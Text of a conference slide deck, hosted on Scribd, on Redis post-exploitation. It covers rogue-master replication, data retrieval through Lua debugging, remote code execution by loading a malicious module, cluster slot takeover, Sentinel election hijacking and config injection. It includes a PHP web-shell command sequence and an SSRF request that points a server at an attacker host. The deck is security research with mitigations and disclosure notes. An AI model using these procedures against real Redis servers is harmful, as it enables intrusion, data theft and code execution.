0% found this document useful (0 votes)
95 views

15 Redis Post Exploitation

This document discusses exploiting Redis servers to achieve remote code execution. It begins by introducing known techniques like exploiting the Lua sandbox escape and using CONFIG SET to change the database file location and inject code. It then analyzes the Redis protocol and discusses using the SLAVEOF command to make a server replicate commands from a rogue server. By enabling script debugging on the slave, the rogue server is able to retrieve data like keys. Finally, it outlines an exploitation technique involving changing the database filename, sending a module payload during replication synchronization, and using it to achieve remote code execution.

Uploaded by

Ayush Bhowmick
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
95 views

15 Redis Post Exploitation

This document discusses exploiting Redis servers to achieve remote code execution. It begins by introducing known techniques like exploiting the Lua sandbox escape and using CONFIG SET to change the database file location and inject code. It then analyzes the Redis protocol and discusses using the SLAVEOF command to make a server replicate commands from a rogue server. By enabling script debugging on the slave, the rogue server is able to retrieve data like keys. Finally, it outlines an exploitation technique involving changing the database filename, sending a module payload during replication synchronization, and using it to achieve remote code execution.

Uploaded by

Ayush Bhowmick
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 74

Redis

post-exploitation

Pavel Toporkov
whoami

Pavel Toporkov

• Application Security Specialist


at Kaspersky Lab
• LC/BC CTF team member (this research was
mostly made during the CTF. Лучше бы ресёрчил)

2
intro

Redis is an open
source, in-memory data
structure store, used
as a database, cache
and message broker.

3
redis-server

Redis is usually used as:

• Session/Caching (serialized!) data storage


• PUB/SUB messaging service
• Message broker for asynchronous task queues.

Default port - 6379/tcp

4
intro

5
intro

Nowadays it's only


~17600 instances on the
internet.

6
the challenge

Given:
• SSRF without response content retrieval
• Zero knowledge about database structure (key
names, pub/sub channels, etc)

Find:
• Remote Code Execution

7
known techniques

CVE-2015-4335/DSA-3279 - Redis Lua Sandbox Escape

• https://redislabs.com/blog/cve-2015-4335dsa-3279-redi
s-lua-sandbox-escape/
• http://benmmurphy.github.io/blog/2015/06/04/redis-eva
l-lua-sandbox-escape/

FIXED: 04-Jun-2015

8
known techniques

SLAVEOF (https://redis.io/commands/slaveof)

PRO: We can change/insert any data to database and thus


manipulate application logic

CON: We need to know about database data structure and


how application processes data from it
CON: It’s possible to crash the application

9
known techniques

MIGRATE (https://redis.io/commands/migrate)

PRO: We can obtain any data from database

CON: We need to know valid key for it

10
known techniques

CONFIG SET
1. Change database file location
CONFIG SET dir /var/www/uploads/
2. Change database file name
CONFIG SET dbfilename sh.php
3. Inject your shell payload into database
SET PAYLOAD '<?php eval($_GET[0]);?>'
4. Save database to file
BGSAVE

11
known techniques

CONFIG SET

PRO: Code Execution

CON: We need to know webroot directory path


CON: Depends on web application technology stack
CON: It’s possible to crash the application

12
let's find something
new

13
script-kiddie alert

No working exploits will be provided in this


presentation, but only techniques.

14
protocol analysis

redis-server supports two protocols:

1. Plaintext (space separated)


SET keyname value\n
2. Custom
*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nval
ue\r\n

15
protocol analysis

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a | .abc..
24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..

requests
responses

16
protocol analysis

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a | .abc..
24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..
Arguments count

Argument length
requests
Argument value
responses

17
protocol analysis

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.
0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..
2b 4f 4b 0d 0a | +OK..
2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.
0a 61 62 63 0d 0a | .abc..
24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..

requests
responses

18
architecture

master

client

19
architecture

Connection init

TCP connection
client
Database changes
slave master

client

20
slaveof

1. Slave initiates the connection to master


server
2. Slave attempts to proceed with a partial (or
full) resynchronization
3. Master keeps the slave updated by sending a
stream of commands to the slave, in order to
replicate any action changing the master
dataset.

21
slaveof

(master)> set zxcv qwert

2a 32 0d 0a 24 36 0d 0a 53 45 4c 45 43 54 0d 0a | *2..$6..SELECT..
24 31 0d 0a 30 0d 0a 2a 33 0d 0a 24 33 0d 0a 73 | $1..0..*3..$3..s
65 74 0d 0a 24 34 0d 0a 7a 78 63 76 0d 0a 24 35 | et..$4..zxcv..$5
0d 0a 71 77 65 72 74 0d 0a | ..qwert..

(slave)> get zxcv


"qwert"

22
it's time to create a
rogue server!

23
rogue server

1. PING - test if a connection is still alive


+PONG
2. REPLCONF - exchange replication information between
master and slave
+OK
3. PSYNC/SYNC <replid> - synchronize slave state with
the master (partial or full)
+CONTINUE <replid> 0
4. Now we can send any commands to slave. Can we obtain
the responses?

24
data retrieval

NO

25
data retrieval

// networking.c
int prepareClientToWrite(client *c) {
...
if (c->flags & (CLIENT_LUA|CLIENT_MODULE))
return C_OK;
...
if ((c->flags & CLIENT_MASTER) &&
!(c->flags & CLIENT_MASTER_FORCE_REPLY))
return C_ERR;

26
data retrieval

BUT ACTUALLY YES

27
data retrieval

// networking.c
int prepareClientToWrite(client *c) {
...
if (c->flags & (CLIENT_LUA|CLIENT_MODULE))
return C_OK;
...
if ((c->flags & CLIENT_MASTER) &&
!(c->flags & CLIENT_MASTER_FORCE_REPLY))
return C_ERR;

28
data retrieval

SCRIPT DEBUG YES

Set the debug mode for subsequent scripts executed with


EVAL.

// scripting.c
/* Enable debug mode of Lua scripts for this client. */
void ldbEnable(client *c) {
c->flags |= CLIENT_LUA_DEBUG;
...
}
29
data retrieval

Exploitation steps:

1. Make the server to be a slave of our rogue server


2. Perform initial handshake with connected slave
3. Set the debug mode for executed scripts
SCRIPT DEBUG YES
4. Trigger debugger using breakpoint
EVAL redis.breakpoint() 0
5. Execute redis commands from debugger
r keys *

30
data retrieval

video

31
SLAVEOF 127.0.0.1 1337
data retrieval
maxlen 0

32
pwned? not yet!

33
rogue server

1. PING - test if a connection is still alive


+PONG
2. REPLCONF - exchange replication information between
master and slave
+OK
3. PSYNC/SYNC <replid> - synchronize slave state with
the master (partial or full)
+CONTINUE <replid> 0
4. Now we can send any commands to slave. Can we obtain
the responses?

34
synchronization

/* Asynchronously read the SYNC payload we receive from a master */


void readSyncBulkPayload(aeEventLoop *el, int fd, void *privdata, int
mask) {
...
if (rename(server.repl_transfer_tmpfile,server.rdb_filename) == -1) {
...
}
...
if (rdbLoad(server.rdb_filename,&rsi) != C_OK) {
serverLog(LL_WARNING,"Failed trying to load the MASTER
synchronization DB from disk");

35
synchronization

We can write arbitrary data to database file.

36
modules

"Redis modules make possible to extend Redis


functionality using external modules, implementing new
Redis commands at a speed and with features similar to
what can be done inside the core itself."

MODULE LOAD /path/to/mymodule.so

37
exploitation steps

1. Make the server to be a slave of our rogue server


2. Read dbfilename (or set your own) value using
previous data retrieval technique and drop connection
CONFIG GET dbfilename or CONFIG SET dbfilename pwn
3. On new connection initiate FULLRESYNC from master and
send compiled module as payload
+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>
4. Load module (dbfilename) using SSRF
MODULE LOAD ./dump.rdb or MODULE LOAD ./pwn

38
exploit

video

39
exploit
1st connection. Setting
dbfilename
2nd connection. Sending
shared object payload

MODULE LOAD pwn.so

40
pwned

41
redis-server 5.0

42
redis 5.0

// server.c
/*
* s: command not allowed in scripts.
*/
struct redisCommand redisCommandTable[] = {
...
{"config",configCommand,-2,"last",0,NULL,0,0,0,0,0},
...
};

43
redis 5.0

We can't use CONFIG command to get or set


database location anymore. We still can guess
the dbfilename, but it's better to have more
reliable exploit.

44
redis 5.0

// replication.c
void syncWithMaster(aeEventLoop *el, int fd, void *privdata, int mask) {
...
snprintf(tmpfile,256,
"temp-%d.%ld.rdb",(int)server.unixtime,(long int)getpid());
}

Both unixtime and pid can be obtained through TIME and


INFO commands using previous data retrieval technique.
We can initiate FULLRESYNC with incorrect length to keep
temporary file existing

45
exploitation steps

1. Make the server to be a slave of our rogue server


2. Read unixtime and pid using previous data retrieval
technique and drop connection
TIME and INFO server
3. On new connection initiate FULLRESYNC from master and
send compiled module as payload with incorrect
length.
+FULLRESYNC <Z*40> 1\r\n$<len+200>\r\n<pld>
4. Load module using SSRF
MODULE LOAD ./temp-<time>.<pid>.rdb

46
redis-cluster

47
redis-cluster

Redis Cluster is a distributed implementation of Redis

Every Redis Cluster node has an additional TCP port for


receiving incoming connections from other Redis Cluster
nodes. This port is at a fixed offset (+10000) from the
normal TCP port used to receive incoming connections
from clients

48
architecture

node#2 cluster msg bus node#3


16379/tcp

client#1

client#2
node#1

49
redis-cluster

The key space is split into 16384 slots


HASH_SLOT = CRC16(key) mod 16384
If the hash slot is served by the node, the query is
simply processed, otherwise the node will check its
internal hash slot to node map, and will reply to the
client with a MOVED error, like in the following
example:
GET x
-MOVED 3999 127.0.0.1:6381

50
redis-cluster

We can't use SLAVEOF in cluster mode.

But we can add our rogue server to cluster


CLUSTER MEET <ip> <port> <bus_port>

After that just listen the bus port.

51
redis-cluster

typedef struct {
char sig[4]; /* Signature "RCmb" (Redis Cluster message bus). */
uint32_t totlen; /* Total length of this message */
uint16_t ver; /* Protocol version, currently set to 1. */
uint16_t port; /* TCP base port number. */
uint16_t type; /* Message type */
...
uint64_t configEpoch;
char sender[CLUSTER_NAMELEN]; /* Name of the sender node */
unsigned char myslots[CLUSTER_SLOTS/8];
char slaveof[CLUSTER_NAMELEN];
char myip[NET_IP_STR_LEN]; /* Sender IP, if not all zeroed. */
...
uint16_t flags; /* Sender node flags */
...
} clusterMsg;

52
redis-cluster

We can register our rogue server in message bus and


steal the slots from existing nodes. All we need is to
have greater configEpoch value

All client requests will be redirected to our server


127.0.0.1:7000> get 12345213
(error) MOVED 5912 127.0.0.1:1234

53
cluster takeover

54
exploitation steps

1. Add our rogue server to cluster


CLUSTER MEET <ip> <port> <bus_port>
2. Wait for connection on message bus port
3. Perform handshake through message bus with myslots
field value set to "\xFF"*2048 and configEpoch set to
"\xFF"*8

55
redis-cluster

[+] Got connection from 127.0.0.1:45903

56
redis-cluster

// cluster.c
void clusterUpdateSlotsConfigWith(clusterNode *sender, uint64_t
senderConfigEpoch, unsigned char *slots) {
if (server.cluster->slots[j] == curmaster)
newmaster = sender;
...
if (newmaster && curmaster->numslots == 0) {
serverLog(LL_WARNING,
"Configuration change detected. Reconfiguring myself "
"as a replica of %.40s", sender->name);
clusterSetMaster(sender);
...

57
redis-cluster

When node loses all its slots, it becomes slave and can
be pwned with previous techniques

58
pwned

59
mitigation

1. Required AUTH will prevent attacker to execute


commands through SSRF (won't help against redis
command injection attacks though)
2. redis-server >= 3.2.7 has built-in protection from
HTTP SSRF attacks
{"post", securityWarningCommand, -1,"lt",0,NULL,0,0,0,0,0},
{"host:", securityWarningCommand, -1,"lt",0,NULL,0,0,0,0,0},

60
mitigation

POST /qwert HTTP/1.1


Host: 127.0.0.1:6379
Content-Type: multipart/form-data; boundary=a
Content-Length: 116

--a
Content-Disposition: form-data; name="zxcv"

SLAVEOF 3.1.33.7 6379


--a--

61
redis-sentinel

62
redis-sentinel

Redis Sentinel provides high availability for Redis.


Redis Sentinel also provides other collateral tasks such
as monitoring, notifications and acts as a configuration
provider for clients.

Sentinels by default run listening for connections to


TCP port 26379

63
redis-sentinel

Redis Sentinel has no fake POST and Host: commands, so


we can use HTTP SSRF to access it.

64
redis-sentinel

When any master instance fails, Sentinel performs


election between failed master slaves, and the elected
one will be promoted to master. All other slaves will
become slave of promoted master.

Election algorithm:
1. slave_priority
2. repl_offset
3. runid (lexicographically)

65
redis-sentinel

Election hacking 101


Slave with following config will always win the
election

slave_priorty:1
slave_repl_offset: 999999999
run_id: <0*40>

66
redis-sentinel

Vulnerability:
Sentinel obtains information about slaves only from
master and doesn't check if they are real slaves of this
master.

67
exploitation steps

1. Make our master rogue server be watched by sentinel


SENTINEL MONITOR <groupname> <ip> <port> <quorum>
2. Reply to sentinels INFO with information about two slaves:
first is the instance we want to takeover, second is
another rogue server
slave0:ip=3.1.33.7,port=1337,
slave1:ip=127.0.0.1,port=6379, <- victim server
3. Reply to sentinels INFO from slave rogue server with
slave_priority:1 to win the election
4. Shutdown master rogue server. Our slave rogue server will
be promoted to master and all other slaves of our master
will become slaves.

68
pwned

69
Easy PWN for dessert

70
redis-sentinel

Sentinel rewrites its config on every watched instances


reconfiguration. It's possible to inject arbitrary
payload to config file using \n in reconfiguration
parameters

SENTINEL SET <groupname> auth-pass "qwert\n<payload>"

71
redis-sentinel

Sentinel notification-script and sentinel


client-reconfig-script are used in order to configure
scripts that are called to notify the system
administrator or to reconfigure clients after a
failover.

72
disclosure

Timeline:
06.08.2018 - First email to maintainer
28.08.2018 - Second email to maintainer
?????????? - No response

http://antirez.com/news/96
73
questions?

74

You might also like